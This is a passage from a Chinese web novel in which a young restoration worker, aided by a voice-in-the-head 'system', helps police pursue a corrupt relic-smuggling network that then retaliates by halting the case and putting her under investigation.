“没事就好。”民警松了口气,看到车上的痕迹蹙了下眉,又道,“我们接到附近居民的报警电话,说这边有人砸车、持械闹事,得到消息后立刻就往这边赶,还好来得及时,没出什么大事。” 时建军眉头皱了一下,扭头看向时墨,眼里满是疑惑——他记得妹妹在车上说“再等五分钟”,然后警察就真的来了。可报警的怎么是居民?妹妹在车上,怎么打电话报警? 他张了张嘴,想问,但对上时墨的目光,又把话咽了回去。 谢时昀立刻开口,不动声色地转移了话题:“同志,这两个人明显是冲着我们来的,不是随机闹事。我们今晚刚配合刑侦队的李景坤队长,端了一个文物倒卖的窝点,我怀疑这两个人是同伙,过来报复的。” 民警一听,脸色瞬间严肃起来:“原来是李队的案子!那这就不是小事了!三位同志,麻烦你们跟我们回一趟派出所,做个详细的笔录,我们也好跟李队那边对接情况。” “好,没问题。”谢时昀立刻应下。 民警点点头,看了一眼谢时昀那辆被砸得坑坑洼洼的车,问:“同志,你这车还能开吗?” 谢时昀拉开车门,发动了一下,发动机嗡嗡响了几声,稳得很:“能开。” 民警没再说什么,转身去指挥收队了。 时建军看着满车的划痕和凹陷,伸手摸了摸,心疼得不行:“谢哥,你这车被这帮混蛋砸成这样……” “没事,修修就好。”谢时昀毫不在意地笑了笑,发动了车子,跟在警车后面,往派出所开去。 一路上,谁都没说话。 时墨靠在座椅上,盯着车窗外掠过的街灯,脑子里飞速梳理着今晚的事。 从刘胖子突然闯进场子,到被人跟踪,再到被堵在死胡同里,一环扣一环,分明是有人提前布好了局,既想让林文彬和刘胖子狗咬狗两败俱伤,又想顺带着把她和谢时昀也拖下水,斩草除根。 车子到了派出所,值班民警带着他们去了询问室做笔录。 屋子不大,一张桌子,几把椅子,桌上摆着两个掉了瓷的搪瓷缸,还有一壶刚沏好的热茶。 值班民警给他们倒了茶,时墨捧在手里,感觉指尖的冰凉一点点退了下去。 值班民警手里拿着钢笔和笔录本,在对面坐下:“三位同志,麻烦你们把今晚的事情经过,详细说一下。” 时墨端着搪瓷缸子,条理清晰地把事情从头到尾说了一遍。 从工地配合警方抓捕林文彬、刘胖子,到出来发现被车跟踪,再到拐进胡同被两人围堵砸车,每一个时间、地点、人物细节都说得明明白白,唯独隐去了系统预警的部分,只说是谢时昀提前发现了被跟踪,才特意拐进了有派出所的胡同。 民警一边听一边记,钢笔在纸上划过,发出沙沙的声响,偶尔插嘴问一两句细节,态度很是客气。 等三个人都做完笔录,已经是后半夜了,墙上的挂钟指向凌晨两点四十。 派出所的所长亲自过来了,跟他们说,已经跟刑侦队的李景坤队长联系上了,李队早上一上班就会过来对接案子。 “三位同志放心,”所长把他们送到门口,语气郑重,“我们已经安排了民警,在你们住的家属院附近暗中巡逻保护,绝对不会再出现今晚这种情况。你们这段时间出门也多注意,有任何情况,第一时间给我们打电话。” “谢谢同志,多谢你们了。”时墨站起来,跟他握了握手。 从派出所出来,夜风吹过来,冷得人直缩脖子。 时建军打了个哈欠:“妹,咱回家吧。” “嗯。”时墨应了一声,转头看向谢时昀,“你今晚也早点休息。” 谢时昀点了点头,看了一眼手表:“我送你们回去。” “不用了。”时墨指了指门口停着的警车,“他们安排了人送我们,你那边……你自己小心点。” 谢时昀看着她,忽然笑了下:“知道了。” 时墨点了点头,转身上了警车。 车子驶出派出所大门,拐上马路。 深夜的首都安静得像一幅画,街灯昏黄,照着空旷的马路。 时建军靠在座椅上,疑惑道:“妹,你说今晚那两个人,到底是冲谁来的……” “我也不是很清楚。”时墨看着车窗外掠过的街灯,沉思道。 【宿主,你又在想什么?】系统关心地问道。 【在想,以后怎么积极做任务。】 【真的吗?!】系统的声音一下子清亮了,带着压抑不住的兴奋,【宿主你终于开窍了!我等这一天等了好久好久!你只要你好好做任务,能量币很快就攒出来了!到时候别说防弹玻璃,你给自己换辆防弹车都行!】 时墨弯了弯嘴角。 车子到了家属院楼下,时墨推开车门,冲开车的警察道了谢,和时建军上了楼。 楼道的灯亮着,昏黄的光照着水泥台阶。 时建军走在前面,脚步很重,困得眼睛都快睁不开了。时墨跟在他后面,一步一步往上走,脑子里的那根弦还是绷着的。 “哥,一会儿到家你别跟爸妈说今晚的事,省得爸妈担心。” “知道,哥心里有数。”时建军应了一声,又补了一句,“那报警的事儿呢?” 时墨看了他一眼:“回去再说。” 兄妹俩走到家门口,时建军掏出钥匙开了门。 客厅里的灯亮着。 李秀兰和时爱国坐在沙发上,一直没睡,眼睛里全是红血丝。 “爸,妈,你们怎么没睡啊?”时墨心里一紧,连忙走了过去。 “你打个电话说一会儿就回来,结果过了凌晨还没回来,我们睡得着吗?”李秀兰立刻站起来,拉着她的手上下打量,生 怕她少了一块肉似的。 时爱国也站起来,没说话,但目光一直在她身上,眼角的皱纹比平时深了不少。 “爸妈,我没事。”时墨笑了笑,反握住李秀兰的手,“一点事都没有,你看我这不好好的吗?” “真的没事?”李秀兰不信,又检查了一遍她的胳膊和手,确认没有伤口,才稍稍放心。 “真的没事。”时墨拉着李秀兰坐下,又冲时爱国笑了笑,“爸,你也坐。” 时爱国坐下了,但眉头还是皱着。 时建军打了个哈欠,瘫在沙发上,困得眼睛都眯成了一条缝:“爸妈,你们别担心了,我妹好着呢,一根头发都没少。” 李秀兰瞪了他一眼:“你就是个心大的。” 时墨把今晚的事隐去了最危险的部分,只说刘胖子带人冲进来,跟林文彬的人打起来了,警察及时赶到把人都抓了,她和谢时昀躲在一旁,一点事都没有。至于被跟踪、被堵在胡同里、被两个男人拿铁棍砸车的事,一个字都没提。 即便如此,李秀兰也听得心惊肉跳,连连拍着胸口说:“幸好幸好,幸好警察来得及时……” 时爱国沉默了好一会儿,忽然开口:“墨墨,那个林文彬被抓了,他后面的人会不会找你们麻烦?” “爸,您放心。”时墨的语气很笃定,“林文彬被抓了,他上面的人现在自顾不暇,哪还有功夫来找我们麻烦?再说了,,派出所的所长亲口说了,会在咱们家附近安排人手暗中保护。有警察盯着,不会有事的。” 时爱国皱着眉,看着她:“真的?没骗我们?” “真的爸,我骗你们干什么。”时墨笑着点头,推着两人往卧室走,“林文彬和刘胖子都被抓了,案子很快就结了,不会再有什么事了。你们快回屋睡会儿吧,熬了一夜,身体都熬坏了。” 老两口将信将疑,可看女儿说得笃定,也没再多问,只是反复叮嘱她,这几天千万别单独出门,上下班一定要让哥哥陪着。 时墨一一应下,连哄带劝地把两人送回了卧室。 客厅里安静下来,时建军起身打了个大大的哈欠:“我的天爷,可算能睡会儿了,这一晚上闹得,你也早点睡。”说完回屋了。 “嗯。” 客厅里安静下来,只有墙上的挂钟还在滴答滴答地走,指针指向凌晨三点二十。 时墨坐在沙发上,看着桌上那两杯凉透了的茶,心里有些返酸。她爸妈在这儿坐了一晚上,等了他们一晚上。 回到自己的房间,时墨躺在床上,她盯着天花板,翻来覆去睡不着。 窗外,月亮从云层后面探出头来,银色的光洒进屋里。 【宿主,你怎么还不睡?】系统的声音忽然冒出来,【都快三点了!】 【睡不着。】 【宿主,我得跟你说个事。】系统的语气严肃起来,【你现在能量币已经欠了快五千了,之前的监控、扫描、预警,全是透支的能量币。现在账户是负的,除了基础的预警功能,其他的道具、深度扫描都用不了了。你家里人那边,我也没法实时监控保护,能量币不够,权限开不了。】 时墨一听,揉了揉发胀的太阳穴,更睡不着了。 她之前总觉得自己什么事都能解决,可今晚的事,让她彻底清醒了。 她现在就是个普通人家的高三学生,没权没势,没钱没人脉,遇到危险,除了靠系统,自己根本没有应对的能力。就连系统的能力,也要靠能量币支撑。 她之前太懈怠了,总觉得先可着自己喜好来,把系统的躺平任务抛在脑后,能量币多少无所谓,反正够用就行。结果真到了危急关头,才知道有多被动。关键时刻连个像样的道具都买不起,只能干等着警察来救。 【宿主,你别愁啊!】系统连忙安慰她,语气又轻快起来,【任务多的是!只要你好好做任务,别说还欠的五千了,很快就能攒出几万富余的能量币,到时候什么防护道具、监控设备,随便你换!咱们先把幕后的人揪出来,以后安安稳稳搞钱、攒能量币,什么都不怕!】 时墨下定决心道:【好,先把这事了结了,以后好好搞钱,好好做任务。】 【宿主英明!】 第二天,时墨照常去了梅先生故居。 工地上的人比平时多了不少,几个木工师父正在院子里锯木头,刨花飞了一地。王木匠蹲在正房门口,手里拿着凿子,正在修一扇旧窗户,一下一下,凿得仔细。 看见时墨进来,王木匠放下凿子走过来,上下打量了她一眼,目光里带着关切:“时工,你没事吧?我们听说昨晚出事了,都动枪了!” 时墨怔愣道:“王师傅,你怎么知道的?” “嗨,好事不出门坏事传千里,这胡同里都传遍了。”王木匠压低声音,指了指周围,“昨晚警车来了好几辆,动静闹那么大的,半条街的人都知道了。今早一来,工地上的人都在说林主任被抓了,还有一帮人拿着钢管冲进来,打起来了,还开了枪呢。” 时墨心里一沉,面上却不动声色:“没事,就是抓了几个坏人,跟我们工地没关系。” 王木匠看了她一眼,没多问,只是拍了拍手上的灰,语重心长地说:“没事就好。时工,你可得小心点,这年头,人心难测。我一个老头子见得多,有些事看着是冲别人去的,指不定哪天就冲自己来了。” “谢谢王师傅,我记住了。” 时墨刚走到堂屋门口,几个工人就围了过来,七嘴八舌地关心询问。 时墨心里一暖,笑着跟大家道谢:“谢谢各位师父,我没事。就是抓了几个坏人,跟我们工地没关系。大家安心干活,该干嘛干嘛。” 正说着,孙教授快步走了过来,身后还跟宋正先。 时墨看见人,瞬间愣了,连忙快步走过去:“师父?您怎么来了?” 宋正先哼了一声,上下打量了一遍,确认她毫发无伤,才板起脸,语气里带着怒气,却又藏不住心疼:“我怎么来了?我要是不来,你是不是打算瞒着我?出了这么大的事,连个电话都不打。你这丫头,是不是觉得自己翅膀硬了,什么事都能自己扛了?” “师父,我不是故意不告诉您的,就是怕您担心。”时墨连忙解释,小声赔罪,“您看,我这不是好好的吗?一点事都没有。” “怕我担心?”宋正先瞪了她一眼,“要不是老孙给我打电话,我到现在还蒙在鼓里!” 时墨看了一眼站在旁边的孙教授,孙教授尴尬地咳嗽了一声,扭过头去假装看墙上的图纸。 “师父,我错了。”时墨乖乖认错,态度诚恳道,“下次一定第一时间告诉您。” “还有下次?”宋正先的声音拔高了几度。 “没有没有,没有下次。”时墨连忙摆手。 宋正先瞪了她好几秒,终于叹了口气,语气软了下来,伸手在她脑门上轻轻戳了一下:“行了,别站着了,进去说话。” 三人进了办公室,时墨刚给两位老人倒完茶坐下。 宋正先端着茶杯,看了时墨一眼:“说说吧,昨晚到底怎么回事。别瞒我,把能说的都说了。” 时墨把昨晚的事又说了一遍,这次比跟警察说的更详细一些,但该瞒的还是瞒了——比如她和谢时昀躲在柱子后面差点被发现,比如后面被跟踪、被堵在胡同里、被人拿铁棍砸车。这些事说出来,只会让老爷子更担心。 宋正先听完,沉默了好一会儿,把手里的茶杯放在桌上,发出一声轻响:“林文彬这个人,我见过几次,看着斯斯文文的,没想到背地里敢干倒卖文物的勾当,还想栽赃给你!” “师父,您认识他?” “不熟,见过面。”宋正先摇了摇头,“文保局那个圈子,水很深。他能在这个位置上干这么多年,上面肯定有人罩着。我已经给文保局的老领导打过电话了,这事必须一查到底!小谢给李景坤的那些证据,够不够把他上面的人拉下来?” 时墨想了想:“单凭那些,可能不够。但如果顺着查下去,应该能查出更多。” 宋正先点了点头,没再说什么,端着茶杯慢慢喝了一口。 这时候,办公室的门被人敲响了。 时墨起来去开门,一看是李景坤,赶忙侧身让人进来。 李景坤穿着一身便衣,眼圈有点黑,显然也是一夜没睡,他看见时墨满脸歉意道:“时墨,你没事吧?昨晚的事我听说了,实在对不住,是我们考虑不周,没安排人保护你们,让你们受惊了。” “李队,别这么说,都是意外,跟你们没关系。”时墨笑了笑,给他让了座,顺手倒了杯茶。 李景坤冲宋正先和孙教授点了点头,然后看向时墨,犹豫了一下:“有些情况,想和你私下了解一下。” 宋正先多精的人,一听这话就站起来,拎起棉袄:“你们聊,我先出去转转。” “师父,您不用走。”时墨叫住他,然后看向李景坤,“李队,我师父和孙教授都不是外人。您有什么话,直说就行。” 李景坤犹豫了一下,点了点头,在椅子上坐下,从公文包里抽出一个文件夹,递给时墨。 “林文彬昨晚交代了一些东西,跟谢时昀的那些证据,基本吻合。但有一条新线索,我觉得你应该知道。” “您是说周明成?” “对。”李景坤点头,手指点着那几页记录,“林文彬交代,他经手的每一批货,周明成都知道。有些货,甚至是周明成给他牵的线。这些年,周明成从他手里拿的钱,至少这个数。”他伸出三根手指。 “三万?”孙教授在旁边插嘴。 “三十万。”李景坤说。 办公室里安静了一瞬,连炉子里的炭火都似乎噼啪得更响了。 时墨捏着那份转账记录,眉头越皱越紧:“李队,您今天来找我,不只是为了告诉我这个吧?” 李景坤看了她一眼,点了点头,身子往前倾了倾:“林文彬还交代了一件事。他说,周明成背后还有人。那个人是谁,他不知道,但他怀疑,那个人在公安系统里。” 时墨的手顿了一下,指尖在文件夹上停住了。 “他有什么证据?” “没有。”李景坤摇头,靠回椅背,“就是直觉。他说,有些事,光靠周明成一个人,根本压不下来。比如有一次,他们的一批货在海关被扣了,第二天就有人打电话来,货就放了。这种事,周明成一个文保局的副局长,根本够不着。上面肯定还有人,而且那个人,级别不低。” 时墨沉默了几秒,忽然问:“李队,昨晚追我们的那两个人,审出什么了吗?” 李景坤的脸色沉了下来,摇了摇头:“嘴硬得很,一口咬定是自己喝多了,随机找的车闹事,没人指使。但我们查了他们的底,都是刘胖子手下的马仔,平时负责搬货、送货,不是核心人物。” 时墨一点都不意外,点了点头,从包里拿出系统调查出来的文件,递给李景坤,“李队,这是我托人查到的一些东西,这是我查到的一些东西,应该对案子有帮助。里面是文保局副局长周明成,收受贿赂、勾结林文彬倒卖文物的全部证据,银行流水、受贿记录、还有他跟境外贩子的往来信件抄件,每一笔都写得清清楚楚,连他通过地下钱庄转赃款的路径都标明白了。” 李景坤接过档案袋,连忙打开翻看,越看眼睛越亮。他之前查周明成,一直卡在资金流水这里,找不到他收赃款的实锤,没想到时墨直接把完整的证据链送来了! “时墨同志,这……这太重要了!”李景坤激动得站了起来,“有了这些证据,周明成这个保护伞,就再也藏不住了!我现在就回局里申请逮捕令,立刻把周明成带回来审问!” 他转身要走,时墨又叫住他:“李队,等一下。” “嗯?” 时墨看着他,严肃道:“如果周明成被抓之后,有人打电话来问,或者有人来‘关心’这个案子,您心里就有数了。谁急着打听,谁就有问题。” 李景坤看了她一眼,目光闪了闪,点了点头。 宋正先坐在一旁,闻言重重地把茶杯往桌上一放,冷哼一声:“不管他背后是什么人,官多大,敢碰国家的文物,敢干这种挖祖坟的勾当,就必须一查到底!我这张老脸,就算豁出去,也要给文物局、给公安局的老领导打电话,谁都别想护着这帮蛀虫!” 李景坤看着这位德高望重的老教授,心里瞬间踏实了不少,敬了个礼:“宋老先生您放心,我们一定一查到底,绝不放过一个坏人!” 说完,他拿着档案袋,脚步生风地走了。 门关上,办公室里安静下来。 宋正先看着时墨,叹了口气,语气软了下来:“你这丫头,胆子是真大,心思也细。可下次再遇到这种事,一定要第一时间告诉师父,别自己一个人扛着,知道吗?师父虽然老了,但在这行里,还有几分薄面,还能护着你。” “知道了师父,下次一定告诉您。”时墨笑着点头。 孙教授站在旁边,笑着摇了摇头:“你师父,嘴上不说,心里比谁都疼你,他这一大早挂了电话,着急忙慌赶过来看你。” 时墨点点头,心里热乎乎的。 当天下午,文保局就炸开了锅。 副局长周明成正在办公室主持会议,讨论明年的文物保护规划,门突然被推开,李景坤带着三个民警直接走了进来。 “周明成同志,你涉嫌受贿、倒卖国家文物,现在依法对你进行传唤。请你配合。” 会议室里鸦雀无声,所有人都愣住了。周明成手里的钢笔掉在桌上,骨碌碌滚了一圈,啪嗒落在地上。他的脸白得像纸,嘴唇哆嗦了两下,一个字都没说出来。 两个民警上前,一左一右站在他身边。周明成慢慢站起来,腿都是软的,被民警架着走出了会议室。 走廊里,文保局的人探头探脑地看,交头接耳,议论纷纷。有人震惊,有人害怕,有人幸灾乐祸,但更多的人是沉默——那种心照不宣的沉默。 【啧,这个周明成嘴还挺硬,什么都不肯说,就说自己是清白的,林文彬在诬陷他。】系统一边用权限看审讯现场,一边给时墨转播,语气里带着看热闹不嫌事大的兴奋。 【李队怎么做的?】 【有你在,李队手里证据链那么完整,根本不给他狡辩的机会。直接把他扣了,连取保候审都不批。周明成脸都绿了,拍桌子说要找领导投诉。】 【李队怎么说?】 【李队说:“周副局长,投诉是您的权利。但在调查结束之前,您得先在这儿待着。”】系统学着李景坤的语气,一本正经的,然后自己先笑了,【宿主,你是没看见周明成那个表情,跟吃了苍蝇似的!】 时墨嘴角弯了弯。 【宿主,你觉得是他?】 【只能说他是线上的一环,背后肯定还有人。】 【那怎么办?】 【等着。】时墨收回目光,蹲下来继续研究那扇旧窗户,手里的凿子稳稳地刻着榫眼,【鱼已经上钩了,就看拉杆的时候,能钓上来多大的鱼。】 而另一边,谢时昀也查到了消息泄露的源头,直接打了电话过来。 “小墨,你电话!”孙教授在办公室门口喊了一声。 “来了!”时墨放下凿子,拍了拍身上的木屑,快步走过去接起电话。 “喂?” “时墨,是我,我查到了一些东西。”谢时昀的声音很低,带着一种少见的严肃,电话那头还能听见翻动纸张的声音,“你现在方便说话吗?” 时墨看了看周围,没人注意这边,但依旧谨慎地捂住话筒,小声道:“方便,你说。” “我查了我这边的人,海关那个朋友没问题。但我顺着他查下去,发现他上面有人有问题。” 时墨心里一紧,手不自觉地攥紧了话筒:“谁?” “海关的一个处长,姓钱。”谢时昀说,声音又低了几分,“他跟周明成是连襟。两家人逢年过节都在一起过,关系很近。” 你是说,海关那边也有人?” “对。”谢时昀的声音很沉,带着一种压抑的怒意,“我顺着钱处长往下查,发现这条线不止文保局和海关,外贸局也有人掺和。他们借着外贸公司的进出口资质,把文物伪装成工艺品,成批地往香江运。这是一条完整的链条,从收货、洗白、运输到出境,环环相扣,牵扯的人不少。” 时墨沉默了几秒,感觉脑子里的线索终于串成了一条线:“谢时昀,你查到的这些东西,告诉李队了吗?” “还没有。我先给你打的电话。” “你赶紧告诉李队吧,他那边应该卡住了。周明成嘴硬得很,光靠林文彬的证词不够。你查到的这些,正好能补上证据链。” “好,我现在就去刑警队找他。”谢时昀立刻应下,又叮嘱道,“你自己千万小心,别单独出门。” “知道了。” 挂了电话,时墨站在院子角落里,看着远处灰蒙蒙的天,心里忽然涌起一股寒意。 这条线,比她想象的要大得多。 她没想到背后竟然还有这么大一张网,横跨了三个部门,盘根错节数十人,难怪他们能这么肆无忌惮地倒卖国家文物。 接下来的两天,案子进展得异常顺利。 被关押在看守所里的周明成,为了争取宽大处理,又交代了一个更惊人的秘密。 “李队长,我还有个情况要汇报。”周明成坐在审讯椅上,手铐在桌面上碰出轻响,他的眼神闪躲,不敢直视李景坤。 “说。” “我们这条线……真正的幕后老板,不是钱处长,也不是我。”周明成咽了口唾沫,声音压得很低,“是……是另一个人。一个你们都想不到的人。” 李景坤的手顿了一下,目光瞬间锐利起来:“谁?” 周明成张了张嘴,又闭上,像是在做最后的挣扎。审讯室里的空气仿佛凝固了,连墙上的挂钟都似乎走得慢了。 就在他即将说出那个名字的时候—— 审讯室的门突然被推开了。一个民警快步走进来,俯身在李景坤耳边说了几句话。 李景坤的脸色瞬间变了。 他站起来,深深地看了周明成一眼,转身走出了审讯室。 走廊里,他的顶头上司,正站在那里,手里拿着一份红头文件。 “明坤,这个案子,上面有人打了招呼。”副局长的表情很复杂,有无奈,也有歉疚,“从现在起,停止所有调查。所有材料封存,上交。” 李景坤愣在原地,手里的笔记本差点掉在地上:“什么?陈局,这个案子牵扯到几十个人,涉案金额上百万,就这么停了?” “这是命令。”陈副局长把文件递给他,拍了拍他的肩膀,叹了口气,“老李,有些事,不是我们能左右的。你手头的材料,全部封存,明天一早有人来取。” 李景坤接过文件,手指微微发抖。他站在走廊里,看着窗外漆黑的夜,一句话都说不出来。 消息传到时墨耳朵里的时候,已经是第二天早上了。 李景坤亲自来了工地,脸色铁青,眼圈发黑,一看就是一整夜没睡。他把时墨叫到办公室,关上门,把事情原原本本说了一遍。 时墨听完,沉默良久。 办公室里安静得能听见炉子里炭火的噼啪声。 【宿主!这也太气人了!这帮人也太无法无天了!怎么办啊?难道就这么算了?】系统气得在她脑子里嗷嗷叫,【我去把幕后那个人的底扒出来!我就不信,他能一手遮天!】 【算了?怎么可能算了。】时墨心里冷笑一声,眼底闪过一丝锐利的光,【小七,你知道有句老话怎么说吗?敌人的敌人,就是朋友。】 第73章 时墨抬起头, 看向李景坤,目光清明而锐利:“李队,上面叫停这个案子, 说明有人怕了。他越怕, 就越说明我们查的方向是对的。” 李景坤看着她, 眼里的疲惫散了一些:“你的意思是……” “案子明面上停了, 但我们可以换个方向继续查。”时墨的声音不大,但每个字都掷地有声,“他们以为封了材料、收了案卷,就万事大吉了?这条线上牵扯了这么多人,总有人会害怕, 有周明成这种小喽啰, 也有钱处长这种见风使舵的,真到了要掉脑袋的时候, 总有人会怕, 总有人会想戴罪立功。我们等的,就是那个先松口的人。” 李景坤盯着她看了好几秒, 忽然笑了, 笑容里带着苦涩, 更多的却是死灰复燃的希望:“时墨, 你才十八, 看事情比我这个干了十几年刑侦的老警察都透。是我钻了牛角尖,光想着硬碰硬,忘了还有迂回的路。” “李队, 您别夸我了。”时墨站起来,走到窗边,看着院子里渐渐暗下来的天色, 轻声道,“我就是觉得,坏人做错了事,就该付出代价。不管他官多大,背后站着谁,偷了国家的东西,害了无辜的人,就该偿命。” 李景坤走后,办公室里只剩下时墨一个人。 炉子里的炭火噼啪响了一声,火星子溅出来,落在地上很快熄了,就像他们好不容易撕开的案子口子,眼看着就要被人硬生生堵死。 【宿主!这帮人也太黑了!官大一级压死人是吧?!】系统气得直跺脚。 【不能急。】时墨坐在椅子上,指尖轻轻敲着桌面,眼神冷得可怕,【越急,越容易掉进他的圈套里。他现在就盼着我们乱了阵脚,好抓我们的把柄。】 【那现在怎么办?明面上的路都被封死了,李队那边动不了,我们手里的证据也交不上去啊!总不能眼睁睁看着这帮蛀虫逍遥法外吧?】 时墨没说话,只是拿起桌上的搪瓷缸,喝了一口热茶。她早就料到,这条线挖得越深,背后的人就越会狗急跳墙,只是没想到对方的动作这么快,这么狠,直接从根上把案子掐了。 可她没料到,对方的杀招,来得比她预想的还要快,还要狠。 第二天一早,时墨刚进工地,就看见两辆黑色的轿车停在院子门口,几个穿着中山装、面色严肃的人站在车边,孙教授陪着他们,脸色难看得像锅底。 看见时墨进来,为首的中年男人立刻迎了上来,拿出证件在她面前亮了一下:“时墨同志你好,我们是文保局纪检组的。我们接到群众举报,梅先生故居修缮项目存在严重的资金违规问题,还有人举报你涉嫌利用职务之便,倒卖项目文物构件,侵吞国家工程款。现在正式对你进行谈话调查,从现在起,暂停你项目技术负责人的职务,项目全面停工审计,所有图纸、施工记录、资金台账全部就地封存。” 这话一出,院子里瞬间炸开了锅。 正在干活的老工匠们都停下了手里的活,围了上来。 王师傅第一个站出来,梗着脖子就跟纪检组的人对上了:“你们胡说八道什么!时工是什么样的人,我们天天跟她在一起,比谁都清楚!她为了这个项目,天天泡在工地上,连一根废钉子都要收起来重复用,怎么可能侵吞工程款、倒卖文物?!” “就是!你们不能听风就是雨!这是有人栽赃陷害!” “时工为了护着这些老构件,上次差点被掉下来的椽子砸到,她能倒卖文物?你们怕不是被人当枪使了!” “要查可以!先把举报的证据拿出来!拿不出证据,就别在这儿污蔑好人!” 老工匠们群情激愤,把几个纪检组的人围得严严实实,个个满脸怒容,唾沫星子都快喷到为首那人脸上了。他们跟时墨朝夕相处了快一个月,最清楚这个小姑娘为了这个项目付出了多少,最看不得她被人这么泼脏水。 “大家静一静!都静一静!”孙教授连忙张开胳膊拦住大家,转头对着纪检组的人沉声道,“同志,时墨同志是这个项目的核心技术负责人,所有的修缮方案、施工图纸,都是经过文物局专家组评审签字通过的,资金使用也全是走的正规流程,绝不可能有问题!这里面肯定有误会!” “有没有误会,我们查了就知道了。”为首的男人面无表情,语气强硬得没有半分商量的余地,“孙教授,我们是按规章制度办事,希望你配合调查,不要阻碍我们执行公务。现在,请你立刻把项目所有的资料、台账都交出来,还有,让时墨同志跟我们回局里配合谈话。” 【宿主,这也太欺负人了!】系统气得声音都在抖,【他们这是往你身上泼脏水啊!】 【我知道,他们急了。】 时墨抬手拦住了还要争辩的工匠们,脸上没有丝毫慌乱,甚至还对大家笑了笑,安抚道:“各位师傅,谢谢大家替我说话。没事的,身正不怕影子斜,他们要查,就让他们查。清者自清,我没做过的事,不怕他们查。” 她转头看向纪检组的人,语气平静,却句句带着锋芒:“同志,我可以跟你们回局里配合谈话,项目资料你们也可以全部封存审计。但我有三个要求,你们必须答应,否则,我有权拒绝配合。” 为首的男人愣了一下,显然没料到这个十八九岁的小姑娘,被纪检组找上门,不仅没吓慌,还敢跟他们提条件。 他皱着眉道:“你说。” “第一,梅先生故居是国家级文保单位,修缮工期有国家文物局的明文规定,擅自停工造成的文物风化、构件损坏,还有工期延误的后果,你们谁签字谁担责,必须给我出书面说明。” “第二,项目停工可以,所有拆下来的文物构件、进场的施工材料,必须由工地上的工匠们24小时看管,你们的人不能碰,更不能私自挪动。这些都是国家级文物,万一被人动了手脚、出现损坏,谁都担不起这个责任。” “第三,说我倒卖文物、侵吞工程款,把你们手里的举报证据拿出来。没有实锤证据,就凭一封匿名举报信停我的职、停国家项目,我要向市纪委和国家文物局纪检组提起申诉,追究你们违规办案的责任。” 三句话,句句戳在要害上。为首的男人脸色瞬间变了又变,额头上都冒出了冷汗。他本来就是受上面的人指使,来走个过场,把时墨困住,把项目搅黄,没想到这个小姑娘看着年纪小,懂的规矩比他还多,句句都踩着纪检条例的红线,把他逼到了墙角。 孙教授立刻附和:“对!这是必须的!这些构件都是梅先生故居的原物,万一被人动了手脚,谁都负不起这个责!” 他愣了半天,才硬着头皮道:“证据我们自然有,调查之后自然会向你公示。你现在只需要配合我们调查就行,别的不用多问。你的前两个要求,我们可以答应。” 时墨回办公室收拾了东西,跟孙教授和王师傅他们交代了几句,让他们看好工地的构件和材料,别让人趁机动手脚,然后跟着纪检组的人上了车。 车子开出胡同的时候,时墨透过车窗,看见了站在院门口的孙教授和工匠们,个个满脸担忧地看着车子离开。她看到这一幕心里暖暖的,半点慌乱都没了。 她靠在座椅上,闭上眼,脑子里飞速运转着——对方先是叫停了案子,又立刻对她下手,摆明了是想把她彻底踩死,让她再也翻不了身。能同时调动文保局纪检组,还能让市局叫停案子,这个人的手,伸得够长的。 忽然,系统焦急道:【宿主!谢时昀出事了!今天一早,□□驻对外经贸口的纪检组的人找上他了,以“涉嫌泄露办案机密、勾结外部人员干预海关执法”为由,把他停职隔离审查了!】 时墨的眼睛瞬间睁开。 她终于明白对方的路数了。 先拿下谢时昀这个最有能力、也最有渠道查案的人,断了她最大的助力,再转头来对付她这个无权无势的小姑娘,把她扣上倒卖文物的罪名,送进监狱,永无翻身之日。这样一来,所有知道内情、能查到他们头上的人,就全被解决了,他们这条走私线, 就能继续安安稳稳地干下去。 好一招斩草除根,好一手狠辣的算计。 时墨压下了心底泛起的波澜。 【宿主!还有一件事我得跟你说一声。】系统声音听着有些奇怪。 【说。】 【你爸妈工作的厂子他们也去了,说“希望家属配合调查”。】 【什么?!】 【你放心没出事,就是走流程,但我估计会流言四起。】 时墨攥紧了拳头。 对方动了谢时昀,动了她,现在连她的家人都要动。这说明他们不仅急了,还怕了。但同时也说明,他们的能量比她想象的要大的多,能同时从纪委、文保局、公安三条线施压,这绝不是一般人能做到的。 好在,她早有准备。 * 时间倒回三天前。 时墨料到,这条线挖得越深,背后的人就越会疯狂反扑。 她把系统查到的张敬山勾结周明成、钱处长等人走私文物,甚至和境外贩子私下往来、传递消息的全部证据,都调了出来。 时墨看着桌上那堆材料,目光落在一个人名上——张敬山。 张敬山,对外经济联络委员会局长,正厅级干部。她一个普通高中生,怎么斗? 【宿主,你怕了?】系统问。 【不怕。】时墨说,【但得换个打法。】 她想了想,把桌上的材料分成三份。一份是林文彬、刘胖子、周明成的犯罪证据,这一份李景坤已经有了,但被上面压住了。一份是钱处长等人的海关腐败证据,这份材料也递不上去。还有一份,是最核心的——张敬山与境外走私集团的联系、他收受的巨额贿赂、他利用职务之便为走私大开绿灯的证据链条。 这一份,她不能交给李景坤。不是她不信任李景坤,而是李景坤的上司能压住这个案子,说明对方在公安系统里也有人,交给李景坤,等于打草惊蛇。 她需要一个不在这个系统里的人,一个级别足够高、对方够不着的人、还绝对信得过的人。 【宿主,你是想找宋老先生?】系统瞬间反应过来。 【对。师父干了一辈子文物保护,最恨的就是这帮倒卖文物的蛀虫。】 宋正先虽然只是个退休的老专家,但他在文物系统干了一辈子,门生故旧遍布全国,跟□□的老领导都有交情。更重要的是,他不在张敬山的权力范围内,张敬山的手伸不到他那里。 但她不能直接去找他。对方现在肯定在盯着她,她去哪儿、见谁,说不定都有人跟着,一旦她去找宋正先,对方肯定会提前动手,甚至会对师父下手。 她需要一个人,一个不起眼的人,一个不会引起任何人注意的人,又绝对靠谱的人,替她把东西送到宋正先手里。 思来想去,她只想到了一个人——她的表嫂,王桂英。 赵海霖夫妻俩上次回去就辞了工厂的临时工,在菜市场租了个摊位卖菜后,王桂英隔三岔五就会给时墨家送些新鲜菜,家属院的人都习以为常了。 她虽然是个卖菜的农村妇女,却心思通透、最严、人品端正,时墨之前帮过他们夫妻俩找摊位、办手续,王桂英一直记着这份情,绝对可靠。 第二天下午,王桂英就像往常一样,挎着满满一菜篮子新鲜蔬菜来了家属院,人还没进门,爽朗的声音就先传了进来:“二舅,二舅妈,我给你们带了大棚里刚摘的西红柿和黄瓜,顶花带刺的,新鲜得很!” 李秀兰连忙迎了上去,笑着接过菜篮子:“你这孩子,天天送,多不好意思。快进来坐,喝口水再走。” “不了舅妈,我还得去菜市场看摊呢,海霖一个人忙不过来。”王桂英笑着摆摆手。 